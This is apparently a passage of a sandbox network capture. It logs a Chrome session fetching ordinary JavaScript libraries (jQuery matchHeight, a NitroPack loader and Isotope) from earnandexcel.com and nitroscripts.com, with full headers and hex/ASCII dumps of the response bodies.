2024-04-11 21:26:43 UTC	938	OUT	GET /wp-content/themes/edumall/assets/libs/matchHeight/jquery.matchHeight-min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802
2024-04-11 21:26:43 UTC	939	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:43 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e7b5aa7196c-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-d1b" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T9teIrHcAYoc2N57T4X4nLJxDKVvjK5YnVhjFwjQ9z42l3CUmirym7CCg96J%2FubChQKqiJtNH6ZqhNUyfmaVg8LvFdNVbvqvs1x9chlX5Uv%2F9qNLpis4xtaSOXSh%2FKylGfM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:43 UTC	430	IN	Data Raw: 64 31 62 0d 0a 2f 2a 0a 2a 20 6a 71 75 65 72 79 2d 6d 61 74 63 68 2d 68 65 69 67 68 74 20 30 2e 37 2e 30 20 62 79 20 40 6c 69 61 62 72 75 0a 2a 20 68 74 74 70 3a 2f 2f 62 72 6d 2e 69 6f 2f 6a 71 75 65 72 79 2d 6d 61 74 63 68 2d 68 65 69 67 68 74 2f 0a 2a 20 4c 69 63 65 6e 73 65 20 4d 49 54 0a 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 74 29 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 72 65 71 75 69 72 65 28 22 Data Ascii: d1b/** jquery-match-height 0.7.0 by @liabru* http://brm.io/jquery-match-height/* License MIT*/!function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],t):"undefined"!=typeof module&&module.exports?module.exports=t(require("
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 74 28 29 2e 74 6f 70 2d 69 28 65 2e 63 73 73 28 22 6d 61 72 67 69 6e 2d 74 6f 70 22 29 29 2c 73 3d 72 2e 6c 65 6e 67 74 68 3e 30 3f 72 5b 72 2e 6c 65 6e 67 74 68 2d 31 5d 3a 6e 75 6c 6c 3b 6e 75 6c 6c 3d 3d 3d 73 3f 72 2e 70 75 73 68 28 65 29 3a 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 61 62 73 28 6e 2d 61 29 29 3c 3d 6f 3f 72 5b 72 2e 6c 65 6e 67 74 68 2d 31 5d 3d 73 2e 61 64 64 28 65 29 3a 72 2e 70 75 73 68 28 65 29 2c 6e 3d 61 7d 29 2c 72 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6f 3d 7b 0a 62 79 52 6f 77 3a 21 30 2c 70 72 6f 70 65 72 74 79 3a 22 68 65 69 67 68 74 22 2c 74 61 72 67 65 74 3a 6e 75 6c 6c 2c 72 65 6d 6f 76 65 3a 21 31 7d 3b 72 65 74 75 72 6e 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 74 2e 65 78 74 Data Ascii: t().top-i(e.css("margin-top")),s=r.length>0?r[r.length-1]:null;null===s?r.push(e):Math.floor(Math.abs(n-a))<=o?r[r.length-1]=s.add(e):r.push(e),n=a}),r},n=function(e){var o={byRow:!0,property:"height",target:null,remove:!1};return"object"==typeof e?t.ext
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 29 3b 65 2e 61 74 74 72 28 22 73 74 79 6c 65 22 2c 65 2e 64 61 74 61 28 22 73 74 79 6c 65 2d 63 61 63 68 65 22 29 7c 7c 22 22 29 7d 29 29 2c 74 2e 65 61 63 68 28 6c 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 29 7b 76 61 72 20 61 3d 74 28 6f 29 2c 6e 3d 30 3b 69 66 28 73 2e 74 61 72 67 65 74 29 6e 3d 73 2e 74 61 72 67 65 74 2e 6f 75 74 65 72 48 65 69 67 68 74 28 21 31 29 3b 65 6c 73 65 7b 69 66 28 73 2e 62 79 52 6f 77 26 26 61 2e 6c 65 6e 67 74 68 3c 3d 31 29 72 65 74 75 72 6e 20 76 6f 69 64 20 61 2e 63 73 73 28 73 2e 70 72 6f 70 65 72 74 79 2c 22 22 29 3b 61 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 2c 6f 3d 65 2e 61 74 74 72 28 22 73 74 79 6c 65 22 29 2c 69 3d 65 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 29 3b Data Ascii: );e.attr("style",e.data("style-cache")\|\|"")})),t.each(l,function(e,o){var a=t(o),n=0;if(s.target)n=s.target.outerHeight(!1);else{if(s.byRow&&a.length<=1)return void a.css(s.property,"");a.each(function(){var e=t(this),o=e.attr("style"),i=e.css("display");
2024-04-11 21:26:43 UTC	194	IN	Data Raw: 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 28 61 29 2c 6f 3d 2d 31 7d 2c 72 2e 5f 74 68 72 6f 74 74 6c 65 29 29 3a 73 28 61 29 7d 2c 74 28 72 2e 5f 61 70 70 6c 79 44 61 74 61 41 70 69 29 2c 74 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 22 6c 6f 61 64 22 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 2e 5f 75 70 64 61 74 65 28 21 31 2c 74 29 7d 29 2c 74 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 22 72 65 73 69 7a 65 20 6f 72 69 65 6e 74 61 74 69 6f 6e 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 2e 5f 75 70 64 61 74 65 28 21 30 2c 74 29 7d 29 7d 29 3b 0a 0d 0a Data Ascii: Timeout(function(){s(a),o=-1},r._throttle)):s(a)},t(r._applyDataApi),t(window).on("load",function(t){r._update(!1,t)}),t(window).on("resize orientationchange",function(t){r._update(!0,t)})});
2024-04-11 21:26:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.17	49831	172.64.154.248	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:43 UTC	548	OUT	GET /pduMCfIcykwhScUJcEDohxbyURefMehM HTTP/1.1 Host: nitroscripts.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:43 UTC	587	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:43 GMT Content-Type: text/javascript;charset=UTF-8 Transfer-Encoding: chunked Connection: close server-timing: c;dur=1.24, sc;dur=34.71, bs;dur=1.36, all;dur=36.08 Cache-Control: max-age=600, stale-while-revalidate=31536000 access-control-allow-origin: * strict-transport-security: max-age=15724800; includeSubDomains CF-Cache-Status: HIT Age: 561 Last-Modified: Thu, 11 Apr 2024 21:17:22 GMT Access-Control-Expose-Headers: X-Request-Timestamp X-Request-Timestamp: 1712870803 Server: cloudflare CF-RAY: 872e0e7bbb134357-EWR
2024-04-11 21:26:43 UTC	782	IN	Data Raw: 37 64 35 33 0d 0a 28 61 73 79 6e 63 20 4e 69 74 72 6f 50 61 63 6b 3d 3e 7b 69 66 28 4e 69 74 72 6f 50 61 63 6b 2e 73 63 72 69 70 74 52 65 61 64 79 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 4e 69 74 72 6f 50 61 63 6b 3a 20 22 2b 28 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3f 2e 73 72 63 7c 7c 22 4e 69 74 72 6f 20 53 63 72 69 70 74 22 29 2b 22 20 69 73 20 61 6c 72 65 61 64 79 20 69 6e 69 74 69 61 6c 69 7a 65 64 2e 20 54 68 65 20 65 78 65 63 75 74 69 6f 6e 20 77 69 6c 6c 20 62 65 20 73 6b 69 70 70 65 64 2e 22 29 3b 72 65 74 75 72 6e 7d 69 66 28 4e 69 74 72 6f 50 61 63 6b 2e 73 63 72 69 70 74 52 65 61 64 79 3d 21 30 2c 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 6e 69 74 72 6f 44 65 62 75 67 53 63 72 69 70 Data Ascii: 7d53(async NitroPack=>{if(NitroPack.scriptReady){console.warn("NitroPack: "+(document.currentScript?.src\|\|"Nitro Script")+" is already initialized. The execution will be skipped.");return}if(NitroPack.scriptReady=!0,localStorage.getItem("nitroDebugScrip
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 76 61 6c 75 65 29 3a 28 74 3d 65 2e 76 61 6c 75 65 2c 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 6e 3f 74 3a 6e 65 77 20 6e 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 28 74 29 7d 29 29 29 2e 74 68 65 6e 28 61 2c 6c 29 7d 63 28 28 72 3d 72 2e 61 70 70 6c 79 28 65 2c 74 7c 7c 5b 5d 29 29 2e 6e 65 78 74 28 29 29 7d 29 29 7d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 75 70 70 72 65 73 73 65 64 45 72 72 6f 72 26 26 53 75 70 70 72 65 73 73 65 64 45 72 72 6f 72 3b 63 6f 6e 73 74 20 74 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 61 74 6f 62 28 22 57 79 49 75 4b 6a 39 63 58 44 39 68 5a 47 52 63 58 43 31 30 62 31 78 63 4c 57 4e 68 63 6e 52 63 58 44 30 75 4b 6a 38 69 4c 43 49 75 4b 6a 38 6d 59 57 52 6b 58 46 77 74 64 47 39 63 58 43 31 6a 59 58 4a 30 58 46 77 Data Ascii: value):(t=e.value,t instanceof n?t:new n((function(e){e(t)}))).then(a,l)}c((r=r.apply(e,t\|\|[])).next())}))}"function"==typeof SuppressedError&&SuppressedError;const t=JSON.parse(atob("WyIuKj9cXD9hZGRcXC10b1xcLWNhcnRcXD0uKj8iLCIuKj8mYWRkXFwtdG9cXC1jYXJ0XFw
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 3d 28 28 29 3d 3e 7b 69 66 28 6f 28 29 29 7b 6c 65 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 2e 73 70 6c 69 74 28 22 3b 20 22 29 2e 66 69 6e 64 28 28 65 3d 3e 65 2e 73 74 61 72 74 73 57 69 74 68 28 72 2b 22 3d 22 29 29 29 2e 73 70 6c 69 74 28 22 3d 22 29 5b 31 5d 3b 69 66 28 22 22 21 3d 65 29 74 72 79 7b 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 70 61 72 73 65 28 65 29 7d 63 61 74 63 68 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 65 29 7d 7d 72 65 74 75 72 6e 7b 7d 7d 29 28 29 5b 65 5d 29 26 26 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 3a 74 7d 72 65 74 75 72 6e 20 74 7d 2c 61 3d 4e 75 6d 62 65 72 28 22 30 22 29 2c 6c 3d 4e 75 6d 62 65 72 28 22 31 22 29 2c 63 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2c 73 3d 70 65 72 66 Data Ascii: =(()=>{if(o()){let e=document.cookie.split("; ").find((e=>e.startsWith(r+"="))).split("=")[1];if(""!=e)try{return JSON.parse(e)}catch(e){console.error(e)}}return{}})()[e])&&void 0!==n?n:t}return t},a=Number("0"),l=Number("1"),c=window.location.href,s=perf
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 65 77 20 50 72 6f 6d 69 73 65 28 28 65 3d 3e 7b 69 66 28 4c 29 7b 63 6f 6e 73 74 20 74 3d 6e 65 77 20 50 65 72 66 6f 72 6d 61 6e 63 65 4f 62 73 65 72 76 65 72 28 28 6e 3d 3e 7b 66 6f 72 28 63 6f 6e 73 74 20 72 20 6f 66 20 6e 2e 67 65 74 45 6e 74 72 69 65 73 28 29 29 72 65 74 75 72 6e 20 65 28 72 2e 6c 6f 61 64 54 69 6d 65 3e 54 28 29 29 2c 76 6f 69 64 20 74 2e 64 69 73 63 6f 6e 6e 65 63 74 28 29 7d 29 29 3b 74 2e 6f 62 73 65 72 76 65 28 7b 74 79 70 65 3a 22 6c 61 72 67 65 73 74 2d 63 6f 6e 74 65 6e 74 66 75 6c 2d 70 61 69 6e 74 22 2c 62 75 66 66 65 72 65 64 3a 21 30 7d 29 7d 65 6c 73 65 20 65 28 21 31 29 7d 29 29 2c 43 3d 21 4c 26 26 73 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 2d 73 2e 72 65 71 75 65 73 74 53 74 61 72 74 3c 3d 35 2c 49 3d 21 31 3b 77 69 Data Ascii: ew Promise((e=>{if(L){const t=new PerformanceObserver((n=>{for(const r of n.getEntries())return e(r.loadTime>T()),void t.disconnect()}));t.observe({type:"largest-contentful-paint",buffered:!0})}else e(!1)})),C=!L&&s.responseStart-s.requestStart<=5,I=!1;wi
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 41 28 29 2c 72 3d 22 6e 61 76 69 67 61 74 65 22 3b 72 65 74 75 72 6e 20 46 28 29 3e 3d 30 3f 72 3d 22 62 61 63 6b 2d 66 6f 72 77 61 72 64 2d 63 61 63 68 65 22 3a 6e 26 26 28 64 6f 63 75 6d 65 6e 74 2e 70 72 65 72 65 6e 64 65 72 69 6e 67 7c 7c 24 28 29 3e 30 3f 72 3d 22 70 72 65 72 65 6e 64 65 72 22 3a 64 6f 63 75 6d 65 6e 74 2e 77 61 73 44 69 73 63 61 72 64 65 64 3f 72 3d 22 72 65 73 74 6f 72 65 22 3a 6e 2e 74 79 70 65 26 26 28 72 3d 6e 2e 74 79 70 65 2e 72 65 70 6c 61 63 65 28 2f 5f 2f 67 2c 22 2d 22 29 29 29 2c 7b 6e 61 6d 65 3a 65 2c 76 61 6c 75 65 3a 76 6f 69 64 20 30 3d 3d 3d 74 3f 2d 31 3a 74 2c 72 61 74 69 6e 67 3a 22 67 6f 6f 64 22 2c 64 65 6c 74 61 3a 30 2c 65 6e 74 72 69 65 73 3a 5b Data Ascii: =function(e,t){var n=A(),r="navigate";return F()>=0?r="back-forward-cache":n&&(document.prerendering\|\|$()>0?r="prerender":document.wasDiscarded?r="restore":n.type&&(r=n.type.replace(/_/g,"-"))),{name:e,value:void 0===t?-1:t,rating:"good",delta:0,entries:[
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 29 29 7d 2c 5a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 7a 2c 21 30 29 2c 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 72 65 72 65 6e 64 65 72 69 6e 67 63 68 61 6e 67 65 22 2c 7a 2c 21 30 29 7d 2c 51 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 7a 2c 21 30 29 2c 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 72 65 72 65 6e 64 65 72 69 6e 67 63 68 61 6e 67 65 22 2c 7a 2c 21 30 29 7d 2c 65 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 57 3c 30 26 26 28 57 3d 59 28 29 2c 5a 28 29 2c 6a 28 28 66 75 6e 63 74 Data Ascii: ))},Z=function(){addEventListener("visibilitychange",z,!0),addEventListener("prerenderingchange",z,!0)},Q=function(){removeEventListener("visibilitychange",z,!0),removeEventListener("prerenderingchange",z,!0)},ee=function(){return W<0&&(W=Y(),Z(),j((funct
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 6f 28 29 7d 2c 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 28 29 7d 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 6f 69 6e 74 65 72 75 70 22 2c 6e 2c 69 65 29 2c 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 6f 69 6e 74 65 72 63 61 6e 63 65 6c 22 2c 72 2c 69 65 29 7d 3b 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 6f 69 6e 74 65 72 75 70 22 2c 6e 2c 69 65 29 2c 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 6f 69 6e 74 65 72 63 61 6e 63 65 6c 22 2c 72 2c 69 65 29 7d 28 74 2c 65 29 3a 6c 65 28 74 2c 65 29 7d 7d 2c 64 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 5b 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 22 6b 65 79 64 6f 77 6e 22 2c 22 74 6f 75 63 68 73 74 61 72 Data Ascii: o()},r=function(){o()},o=function(){removeEventListener("pointerup",n,ie),removeEventListener("pointercancel",r,ie)};addEventListener("pointerup",n,ie),addEventListener("pointercancel",r,ie)}(t,e):le(t,e)}},de=function(e){["mousedown","keydown","touchstar
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 79 3a 65 2e 64 75 72 61 74 69 6f 6e 2c 65 6e 74 72 69 65 73 3a 5b 65 5d 7d 3b 62 65 5b 72 2e 69 64 5d 3d 72 2c 54 65 2e 70 75 73 68 28 72 29 7d 54 65 2e 73 6f 72 74 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 6c 61 74 65 6e 63 79 2d 65 2e 6c 61 74 65 6e 63 79 7d 29 29 2c 54 65 2e 73 70 6c 69 63 65 28 31 30 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 64 65 6c 65 74 65 20 62 65 5b 65 2e 69 64 5d 7d 29 29 7d 7d 2c 50 65 3d 5b 32 35 30 30 2c 34 65 33 5d 2c 43 65 3d 7b 7d 2c 49 65 3d 5b 38 30 30 2c 31 38 30 30 5d 2c 4f 65 3d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 64 6f 63 75 6d 65 6e 74 2e 70 72 65 72 65 6e 64 65 72 69 6e 67 3f 74 65 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 74 Data Ascii: y:e.duration,entries:[e]};be[r.id]=r,Te.push(r)}Te.sort((function(e,t){return t.latency-e.latency})),Te.splice(10).forEach((function(e){delete be[e.id]}))}},Pe=[2500,4e3],Ce={},Ie=[800,1800],Oe=function e(t){document.prerendering?te((function(){return e(t
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 26 26 65 2e 76 61 6c 75 65 3e 74 2e 76 61 6c 75 65 3f 65 3a 74 7d 29 29 3b 69 66 28 74 26 26 74 2e 73 6f 75 72 63 65 73 26 26 74 2e 73 6f 75 72 63 65 73 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 6e 3d 28 72 3d 74 2e 73 6f 75 72 63 65 73 29 2e 66 69 6e 64 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 6f 64 65 26 26 31 3d 3d 3d 65 2e 6e 6f 64 65 2e 6e 6f 64 65 54 79 70 65 7d 29 29 7c 7c 72 5b 30 5d 3b 69 66 28 6e 29 72 65 74 75 72 6e 20 76 6f 69 64 28 65 2e 61 74 74 72 69 62 75 74 69 6f 6e 3d 7b 6c 61 72 67 65 73 74 53 68 69 66 74 54 61 72 67 65 74 3a 55 28 6e 2e 6e 6f 64 65 29 2c 6c 61 72 67 65 73 74 53 68 69 66 74 54 69 6d 65 3a 74 2e 73 74 61 72 74 54 69 6d 65 2c 6c 61 72 67 65 Data Ascii: tion(e,t){return e&&e.value>t.value?e:t}));if(t&&t.sources&&t.sources.length){var n=(r=t.sources).find((function(e){return e.node&&1===e.node.nodeType}))\|\|r[0];if(n)return void(e.attribution={largestShiftTarget:U(n.node),largestShiftTime:t.startTime,large
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 63 79 21 3d 3d 6f 2e 76 61 6c 75 65 26 26 28 6f 2e 76 61 6c 75 65 3d 6e 2e 6c 61 74 65 6e 63 79 2c 6f 2e 65 6e 74 72 69 65 73 3d 6e 2e 65 6e 74 72 69 65 73 2c 72 28 29 29 7d 2c 61 3d 56 28 22 65 76 65 6e 74 22 2c 69 2c 7b 64 75 72 61 74 69 6f 6e 54 68 72 65 73 68 6f 6c 64 3a 6e 75 6c 6c 21 3d 3d 28 6e 3d 74 2e 64 75 72 61 74 69 6f 6e 54 68 72 65 73 68 6f 6c 64 29 26 26 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 3a 34 30 7d 29 3b 72 3d 48 28 65 2c 6f 2c 77 65 2c 74 2e 72 65 70 6f 72 74 41 6c 6c 43 68 61 6e 67 65 73 29 2c 61 26 26 28 22 69 6e 74 65 72 61 63 74 69 6f 6e 49 64 22 69 6e 20 50 65 72 66 6f 72 6d 61 6e 63 65 45 76 65 6e 74 54 69 6d 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 26 26 61 2e 6f 62 73 65 72 76 65 28 7b 74 79 70 65 3a 22 66 69 72 73 74 2d 69 6e 70 Data Ascii: cy!==o.value&&(o.value=n.latency,o.entries=n.entries,r())},a=V("event",i,{durationThreshold:null!==(n=t.durationThreshold)&&void 0!==n?n:40});r=H(e,o,we,t.reportAllChanges),a&&("interactionId"in PerformanceEventTiming.prototype&&a.observe({type:"first-inp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.17	49832	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:43 UTC	927	OUT	GET /wp-content/themes/edumall/assets/libs/isotope/js/isotope.pkgd.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802
2024-04-11 21:26:44 UTC	947	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:44 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e7c88f60f6f-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-15ecb" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x1gBVLhVM5ofw21Z0KKjMuj0g3201FnkhQivtjcn1TtGu8yiD1wt8hnhq%2B9xyz0Dp%2F7M%2FAyQo4kc%2F58tdS91LRhv5kg0PWrgR%2BKqJLFHB6XNIuyD66T4fLnsR%2FEjYCJ4UsA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:44 UTC	422	IN	Data Raw: 37 62 30 36 0d 0a 2f 2a 21 0a 20 2a 20 49 73 6f 74 6f 70 65 20 50 41 43 4b 41 47 45 44 20 76 33 2e 30 2e 36 0a 20 2a 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 47 50 4c 76 33 20 66 6f 72 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 75 73 65 0a 20 2a 20 6f 72 20 49 73 6f 74 6f 70 65 20 43 6f 6d 6d 65 72 63 69 61 6c 20 4c 69 63 65 6e 73 65 20 66 6f 72 20 63 6f 6d 6d 65 72 63 69 61 6c 20 75 73 65 0a 20 2a 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 69 73 6f 74 6f 70 65 2e 6d 65 74 61 66 69 7a 7a 79 2e 63 6f 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 30 2d 32 30 31 38 20 4d 65 74 61 66 69 7a 7a 79 0a 20 2a 2f 0a 0a 2f 2a 2a 0a 20 2a 20 42 72 69 64 67 65 74 20 6d 61 6b 65 73 20 6a 51 75 65 72 79 20 77 69 64 67 65 74 73 0a 20 2a 20 76 32 2e 30 2e 31 0a 20 2a 20 4d 49 54 Data Ascii: 7b06/! Isotope PACKAGED v3.0.6 * * Licensed GPLv3 for open source use * or Isotope Commercial License for commercial use * * https://isotope.metafizzy.co * Copyright 2010-2018 Metafizzy //* * Bridget makes jQuery widgets * v2.0.1 * MIT
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 6c 73 65 20 2a 2f 20 2f 2a 20 67 6c 6f 62 61 6c 73 20 64 65 66 69 6e 65 2c 20 6d 6f 64 75 6c 65 2c 20 72 65 71 75 69 72 65 20 2a 2f 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 64 65 66 69 6e 65 20 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 20 26 26 20 64 65 66 69 6e 65 2e 61 6d 64 20 29 20 7b 0a 09 09 2f 2f 20 41 4d 44 0a 09 09 64 65 66 69 6e 65 28 20 27 6a 71 75 65 72 79 2d 62 72 69 64 67 65 74 2f 6a 71 75 65 72 79 2d 62 72 69 64 67 65 74 27 2c 5b 20 27 6a 71 75 65 72 79 27 20 5d 2c 20 66 75 6e 63 74 69 6f 6e 28 20 6a 51 75 65 72 79 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 66 61 63 74 6f 72 79 28 20 77 69 6e 64 6f 77 2c 20 6a 51 75 65 72 79 20 29 3b 0a 09 09 7d 29 